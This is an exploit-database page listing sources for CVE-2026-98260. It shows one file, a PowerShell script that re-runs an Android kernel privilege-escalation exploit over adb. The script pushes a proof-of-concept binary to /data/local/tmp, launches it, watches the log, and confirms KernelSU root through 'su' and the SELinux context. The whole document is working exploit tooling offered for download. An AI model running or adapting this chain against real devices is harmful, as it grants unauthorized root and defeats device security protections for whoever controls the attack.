Exploit databaseDownload repository ZIP
GH-d9f4a67978afce82252361bca8c7599f
dream-rainy/cve-2026-98260
Sources for CVE-2026-98260
60 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files6
dream-rainy/cve-2026-98260Revision 9d1f48ec0191
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
tools/rerun-ksu.ps1
PowerShell · 3,044 bytes# rerun-ksu.ps1 -- re-acquire KernelSU root with CVE-2026-98260 after a reboot.
#
# The exploit's LKM-based root does not survive a reboot, so this drives the
# full ported chain again and reports the outcome. Nothing is killed: on
# success the exploit parks by design (its root child holds the fake cred page)
# and that parked state is stable -- do NOT kill it and do NOT reboot.
#
# usage: pwsh -File tools\rerun-ksu.ps1
# pwsh -File tools\rerun-ksu.ps1 -TimeoutSec 300
param(
[string]$Serial = "",
[int]$TimeoutSec = 300,
[string]$Binary = "analysis\poc\port\timer",
[string]$Remote = "/data/local/tmp/a/ptimer"
)
$ErrorActionPreference = "Stop"
$adbArgs = @()
if ($Serial) { $adbArgs += @("-s", $Serial) }
function AdbShell {
param([string]$Cmd)
& adb @adbArgs shell $Cmd 2>&1
}
Write-Host "[*] waiting for device..."
& adb @adbArgs wait-for-device | Out-Null
$boot = (AdbShell "cat /proc/uptime").Trim()
Write-Host "[*] device up, uptime=$boot"
# Fast path: the module may already be loaded (e.g. USB drop, no reboot).
$mod = AdbShell "grep -i kernelsu /proc/modules"
if ($mod -match "kernelsu") {
Write-Host "[+] kernelsu already loaded: $mod"
$id = AdbShell "su -c 'id; getenforce'"
Write-Host $id
if ($id -match "u:r:ksu:s0") {
Write-Host "[+] root already available -- nothing to do."
exit 0
}
}
if (-not (Test-Path $Binary)) { throw "binary not found: $Binary" }
Write-Host "[*] pushing $Binary"
& adb @adbArgs push $Binary $Remote | Out-Null
AdbShell "chmod 755 $Remote" | Out-Null
$log = "/data/local/tmp/rerun_ksu.log"
AdbShell "rm -f $log" | Out-Null
Write-Host "[*] launching fake mode (takes 1-3 minutes)..."
AdbShell "cd /data/local/tmp && setsid ./a/ptimer fake >$log 2>&1 </dev/null &" | Out-Null
$deadline = (Get-Date).AddSeconds($TimeoutSec)
$state = "pending"
while ((Get-Date) -lt $deadline) {
Start-Sleep -Seconds 5
$tail = AdbShell "tail -30 $log"
if ($tail -match "KSU_LOADED") { $state = "loaded"; break }
if ($tail -match "parking without reap") { $state = "parked-failed"; break }
}
Write-Host ""
Write-Host "=== log tail ==="
AdbShell "tail -25 $log" | ForEach-Object { Write-Host $_ }
Write-Host ""
switch ($state) {
"loaded" {
$id = AdbShell "su -c 'id; getenforce; cat /proc/self/attr/current'"
Write-Host "[+] KernelSU root:"
$id | ForEach-Object { Write-Host " $_" }
if ($id -match "u:r:ksu:s0") {
Write-Host "[+] SUCCESS. Leave the parked process alone (no kill, no reboot)."
exit 0
}
Write-Host "[!] module reports loaded but su did not reach u:r:ksu:s0."
exit 2
}
"parked-failed" {
Write-Host "[!] a plant missed and the exploit parked holding a zombie."
Write-Host " Reboot the device (that is the only safe cleanup), then re-run this script."
exit 4
}
default {
Write-Host "[!] timed out after $TimeoutSec s; inspect $log on the device."
exit 5
}
}